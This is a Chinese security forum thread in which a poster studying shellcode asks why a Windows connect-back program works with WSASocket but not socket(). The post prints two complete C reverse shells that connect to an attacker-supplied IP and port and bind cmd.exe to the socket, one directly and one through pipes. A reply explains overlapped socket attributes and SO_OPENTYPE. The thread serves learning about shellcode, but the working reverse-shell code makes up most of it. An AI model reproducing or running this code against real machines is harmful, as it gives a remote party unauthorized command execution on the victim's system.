首页
社区
课程
招聘
[求助]socket与wsasocket的区别?
发表于: 2015-7-24 15:13 6406

[求助]socket与wsasocket的区别?

2015-7-24 15:13
6406
这段时间理了理常见类型的shellcode,其中在过connect back类型时,遇到了一点疑惑的地方。
先上代码,下面是windows下connect back的c代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
// create "cmd" shell and redirect the input/output
BOOL open_shell(HANDLE hInput, HANDLE hOutput)
{
  PROCESS_INFORMATION pi;
  STARTUPINFO si;
  memset(&si, 0, sizeof(STARTUPINFO));
 
  si.cb = sizeof(STARTUPINFO);
  si.dwFlags |= STARTF_USESTDHANDLES;
  si.hStdInput = hInput;
  si.hStdOutput = hOutput;
  si.hStdError = hOutput;
 
 
  TCHAR cmd_line[MAX_PATH];
  _sntprintf_s(cmd_line, MAX_PATH, _T("%s"), _T("cmd.exe"));
 
 
  if (CreateProcess(NULL, cmd_line, NULL, NULL, true, 0, NULL, NULL, &si, &pi))
  {
    g_hProcess = pi.hProcess;
    CloseHandle(pi.hThread);
    return TRUE;
  }
 
  return FALSE;
}
 
 
 
 
int _tmain(int argc, _TCHAR* argv[])
{
 
  if (argc < 3)
  {
    Usage();
    return -1;
  }
 
  short tport;
  if ((tport = _ttoi(argv[2])) == 0)
  {
    fprintf(stderr, "target port number error\n");
    return -1;
  }
 
 
  // initial socket
  WSADATA wsa;
  if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0){
    fprintf(stderr, "Initial socket error:%d\n", GetLastError());
    return -1;
  }
 
 
 
  // create socket
  SOCKET server_socket;
  //if ((server_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
  if ((server_socket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0)) == INVALID_SOCKET)
  {
    fprintf(stderr, "Create socket error:%d\n", GetLastError());
    return -1;
  }
 
  // get target ip
  char target_ip[20];
  unsigned long ip;
  if ((tchar2char(argv[1], target_ip, sizeof(target_ip)) == -1) ||
    (ip = inet_addr(target_ip)) == INADDR_NONE)
  {
    fprintf(stderr, "Target ip error!\n");
    return -1;
  }
 
  printf("Connect back to %s:%d\n", target_ip, tport);
 
 
  sockaddr_in server_addr;
  memset(&server_addr, 0, sizeof(server_addr));
  server_addr.sin_family = AF_INET;
  server_addr.sin_addr.S_un.S_addr = ip;
  server_addr.sin_port = htons(tport);
 
  // connect to server
  if (connect(server_socket,
    (sockaddr *)&server_addr,
    sizeof(server_addr)) == SOCKET_ERROR)
  {
    fprintf(stderr, "Connect to target server error:%d\n", GetLastError());
    return -1;
  }
 
 
  if (open_shell((HANDLE)server_socket, (HANDLE)server_socket) == false)
  {
    fprintf(stderr, "Open cmd shell error: %d\n", GetLastError());
    return -1;
  }
   
  CloseHandle(g_hProcess);
  ExitProcess(GetLastError());
 
  return 0;
}

利用nc作为server端进行监听,这份代码可以工作,本人存在疑惑的地方时,将WSASocket函数换成Socket函数,这份代码就工作不了,也查看了网上的一些关于两者的差别,但仍没能清楚个中原因,还望大家多多指点!

用Socket函数也不是不可以,查看了一下msdn上关于重定向std的方法,可以通过pipe来中转shell与socket的输入输出,代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
// recv command from server, redirect the command to "cmd" shell, and
// send the result to server
bool wait_for_command(SOCKET s, char *recv_buf, int buf_bytes, HANDLE hInputPipe, HANDLE hOutputPipe)
{
  int recv_len = recv(s, recv_buf, buf_bytes, 0);
  recv_buf[recv_len] = '\0';
 
  if (strcmp(recv_buf, "quit\r\n") == 0)
  {
    return false;
  }
  printf(">>%s", recv_buf);
 
  DWORD bytes_written = 0;
  WriteFile(hInputPipe, recv_buf, recv_len, &bytes_written, NULL);
 
  Sleep(10);
 
  DWORD bytes_available = 0;
  DWORD bytes_readed = 0;
  PeekNamedPipe(hOutputPipe, NULL, NULL, NULL, &bytes_available, NULL);  // check whether data is available
  while (bytes_available > 0)
  {
    ReadFile(hOutputPipe, recv_buf, buf_bytes, &bytes_readed, NULL);
    if (send(s, recv_buf, bytes_readed, NULL) == SOCKET_ERROR)
    {
      printf("Send message error: %d\n", GetLastError());
      return false;
    }
    bytes_available -= bytes_readed;
     
  }
 
  return true;
}
 
int _tmain(int argc, _TCHAR* argv[])
{
 
  if (argc < 3)
  {
    Usage();
    return -1;
  }
 
  short tport;
  if ((tport = _ttoi(argv[2])) == 0)
  {
    fprintf(stderr, "target port number error\n");
    return -1;
  }
 
   
  // initial socket
  WSADATA wsa;
  if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0){
    fprintf(stderr, "Initial socket error:%d\n", GetLastError());
    return -1;
  }
 
 
   
  // create socket
  SOCKET server_socket;
  if ((server_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
  {
    fprintf(stderr, "Create socket error:%d\n", GetLastError());
    return -1;
  }
 
  // get target ip
  char target_ip[20];
  unsigned long ip;
  if ((tchar2char(argv[1], target_ip, sizeof(target_ip)) == -1) || 
    (ip = inet_addr(target_ip)) == INADDR_NONE)
  {
    fprintf(stderr, "Target ip error!\n");
    return -1;
  }
   
  printf("Connect back to %s:%d\n", target_ip, tport);
 
 
  sockaddr_in server_addr;
  memset(&server_addr, 0, sizeof(server_addr));
  server_addr.sin_family = AF_INET;
  server_addr.sin_addr.S_un.S_addr = ip;
  server_addr.sin_port = htons(tport);
 
  // connect to server
  if (connect(server_socket, 
    (sockaddr *)&server_addr, 
    sizeof(server_addr)) == SOCKET_ERROR)
  {
    fprintf(stderr, "Connect to target server error:%d\n", GetLastError());
    return -1;
  }
 
 
  // create pipe
  SECURITY_ATTRIBUTES sa;
  sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  sa.bInheritHandle = TRUE;
  sa.lpSecurityDescriptor = NULL;
  HANDLE hInputRead, hOutputRead, hInputWrite, hOutputWrite;
 
  CreatePipe(&hInputRead, &hInputWrite, &sa, RECV_BUF_SIZE);
  CreatePipe(&hOutputRead, &hOutputWrite, &sa, RECV_BUF_SIZE);
 
 
  // open cmd shell
  char recv_buf[RECV_BUF_SIZE];
  if (open_shell(hInputRead, hOutputWrite) == false// 这个函数的实现跟上面是一样的,就不贴了
  {
    fprintf(stderr, "Open cmd shell error: %d\n", GetLastError());
    return -1;
  }
   
  // recv command from server
  bool do_continue = true;
  while (do_continue)
  {
    do_continue = wait_for_command(server_socket, recv_buf, sizeof(recv_buf), hOutputRead, hInputWrite);
 
  }
 
  CloseHandle(hInputRead);
  CloseHandle(hInputWrite);
  CloseHandle(hOutputRead);
  CloseHandle(hOutputWrite);
  closesocket(server_socket);
  WSACleanup();
  TerminateProcess(g_hProcess, GetLastError());
  CloseHandle(g_hProcess);
  return 0;
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费
支持
分享
最新回复 (2)
雪    币: 627
活跃值: (668)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
2
overlapped socket与nonoverlapped的区别,对应于asynchronous和synchronous I/O操作。

socket函数缺省情况创建的Socket具有overlapped属性。

Socket overlapped I/O versus blocking/nonblocking mode
Please note that once a socket is created, there is no way to change the socket overlapped attribute. However, you can call the setsockopt API with SO_OPENTYPE option on any socket handles including an INVALID_SOCKET to change the overlapped attributes for all successive socket calls in the same thread. The default SO_OPENTYPE option value is 0, which sets the overlapped attribute. All nonzero option values make the socket synchronous and make it so that you cannot use a completion function.

即可以用setsockopt函数将Socket Options设置SO_OPENTYPE为非0的值,这样同一线程中后续的Socket调用就是non-overlapped的。
在MSWSock.h中定义了用于同步访问的SO_OPENTYPE:
1
2
3
4
[FONT="Courier"]/*
 * Option for opening sockets for synchronous access.
 */
#define SO_OPENTYPE                 0x7008[/FONT]

你可以试试,但是MSDN不建议这样做,而推荐用WSASocket
1
2
3
4
5
6
7
8
[FONT="Courier"]SOCKET WSASocket(
  _In_ int                af,
  _In_ int                type,
  _In_ int                protocol,
  _In_ LPWSAPROTOCOL_INFO lpProtocolInfo,
  _In_ GROUP              g,
  _In_ DWORD              dwFlags
);[/FONT]

上面代码中,server_socket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0),最后的参数dwFlags=0,表明这是一个nonoverlapped的Socket。
你可以测试一下,将最后一个参数设为1(#define WSA_FLAG_OVERLAPPED 0x01 // in WinSock2.h),恐怕WSASocket也不能工作。

失败的原因与服务端的工作模式有关,可能它只是一个简单的服务器,比如用的是accept函数来侦听入站连接,只允许同步I/O等。
这些函数都在Ws2_32.dll里,而AcceptEx则位于Socket架构更底层的Mswsock.dll里,它是Windows下实现高性能、可扩展的IOCP Server的唯一选择。

Socket Architecture
上传的附件:
2015-7-25 10:04
0
雪    币: 93
活跃值: (52)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
测试了下是这样的,非常感谢
2015-7-25 21:17
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册